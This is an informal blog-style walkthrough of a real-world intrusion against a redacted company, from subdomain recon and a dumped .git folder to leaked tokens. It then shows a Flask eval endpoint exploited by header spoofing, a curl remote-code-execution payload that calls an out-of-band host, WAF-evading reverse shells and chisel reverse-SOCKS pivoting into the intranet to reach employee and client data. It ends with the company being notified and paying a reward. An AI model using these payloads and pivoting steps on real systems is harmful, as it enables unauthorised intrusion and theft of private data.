initial access 102 - infil and pivoting

(this is a continuation of initial access 101; obviously this is a different target)

having a foothold over a target system is quite important as you can imagine. as usual i use amass to hunt subdomains:

root@c8fb59cae0b076e624155f36e:~/us# amass enum -d redacted.com -passive -src -o redacted.log
blah.redacted.com
admin.redacted.com
account.redacted.com
www.redacted.com
woah.redacted.com
lol.redacted.com
...

now obviously besides amass i also recommend using things like subfinder or crtsh (or even sublist3r lmfao). recon is extremely important in situations like this since youd preferrably expand and gather as much information about the target as possible instead of just testing out vulns in their website (this isnt a ctf - their website could be basically bulletproof and even if there is a vuln itd be too exhausting to find one; or it may be insignificant).

in this case, we were lucky enough to find a certain [REDACTED]-US-bucket-ext sub-subdomain in the i subdomain which seems to hold a .git folder thanks to dotgit, a very handy extension that basically tells you whether or not .svn, .git, or .env or any dotfile/version control info is exposed on a domain.

obviously in our case, .git doesnt fully expose the source code; but it does hold important version control information and internal emails/usernames and some diffs. using gitdumper:

root@c8fb59cae0b076e624155f36e:~/us# gdump https://[REDACTED]-US-bucket-ext.i.redacted.com/.git ~/ruhroh

(yes i aliased gitdumper to gdump)

intruding with sast

checking the diffs i found some employee emails, usernames/names and diffs. what is striking to me however are certain commits that add some internal debugging/weird routes. using semgrep and lgtm in this case would be a good move; since you wouldnt want to comb through everything - and semgrep is good enough in personal experience to find latent issues and overt things like sqli or xss. lgtm on the other hand checks if there are ‘concerning’ security issues, like hardcoded creds, etc.

using this i found api keys for crunchbase, among other services, and even some (likely proprietary) business information. interesting!

what really caught my eye however was the fact that there was an eval detected by semgrep on this portion of their diff with a very long path name ill redact for obvious reasons:

@app.route('/REDACTED/......../api/v1/.....', methods=["POST"])
def clearlybad(): # not the actual name
    clearlybad = flask.request.json.get('argument')
    try:
        eval(clearlybad)
    except NameError as exception:
        clearlybad = exception

    return flask.jsonify({
        "success": [
            str(clearlybad)
        ]
    }), 200

however i wasnt able to access it because it seemed to require an internal ip. setting my X-Remote-IP header to localhost immediately countered that. thats a solid gg obviously. using another exposed ‘debug’ Bearer token for an employee which was hidden in a deletion diff, i simply opened burp collaborator, and did this for a basic external blind rce test:

curl -s https://redacted.redacted.com/...../ \
  -d '{"argument": "__import__(\"os\").system(\"curl http://REDACTED.oastify.com/\")"}' \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer sekrit" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Remote-IP: 127.0.0.1"

meanwhile, on burp collab:

amazing! lets get a shell for IA now. unfortunately, usual reverse shell tricks dont work because of their WAF. i ended up base58 encoding them (base64 got nuked somehow) and eventually i had /bin/sh running; meaning i now have access to the targets internals.

pivoting and success

pivoting essentially means you are hopping from machine to machine in a target network given you have some foothold and you actually have the ability to move laterally (ie adjacent systems like DBMS etc). after extracting a portable version of nmap, i began scanning the network to find the full scope of available ip addresses. turns out theres a subdomain exclusively avaialble to the company’s local intranet. to do this, i setup chisel, essentially letting me have a portal that lets me transition to the target intranet easily. to demo how chisel works, refer to this:

essentially, it creates a network tunnel to bypass most SMs and firewalls so you can access an internal network easily without the same hassle as you did to get a foothold on the target network.

our chisel client (rdp/local machine/wahtever) connects to our remote chisel server (i usually make it listen to a certain silly port number). when the local machine sends data, it gets routed to the remote chisel server, which then forwards it to the target network as if it was all done locally. the same thing happens in the other direction. i recommend using it over socat since its easier in my honest opinion: github repo

anyway, lets set it up on our machine first:

$ ./chisel server -p 5124 --reverse
[REDACED] server: Reverse tunnelling enabled
[REDACED] server: Fingerprint MVZ+[REDACTED]+8=
[REDACED] server: Listening on http://0.0.0.0:5124

grand, now lets set it up on the target machine::

REDACTED@REDACTED:/REDACTED# ./chisel client XX.XX.XX.XX:5124 R:socks

now, i open foxyproxy and configure a SOCKS v5 proxy on port 5124. after that’s done, i opened their github. entering the domain name of the target in the search bar, i found a treasure trove of documents, including employee and client data, along with source code for quite a popular service used by certain organizations for session and access management.

lol

contacting the company with proof they were quick to revoke a bunch of bearer tokens and nuke the .git folder they had, along with fixing obvious glaring eval vulns in their internal repos (apparently it was believed in their team that it was basically invulnerable because it isnt exposed at all [????]). i was given a sum of cash in return and also got access to some pretty cool tooling they had to help in CSINT.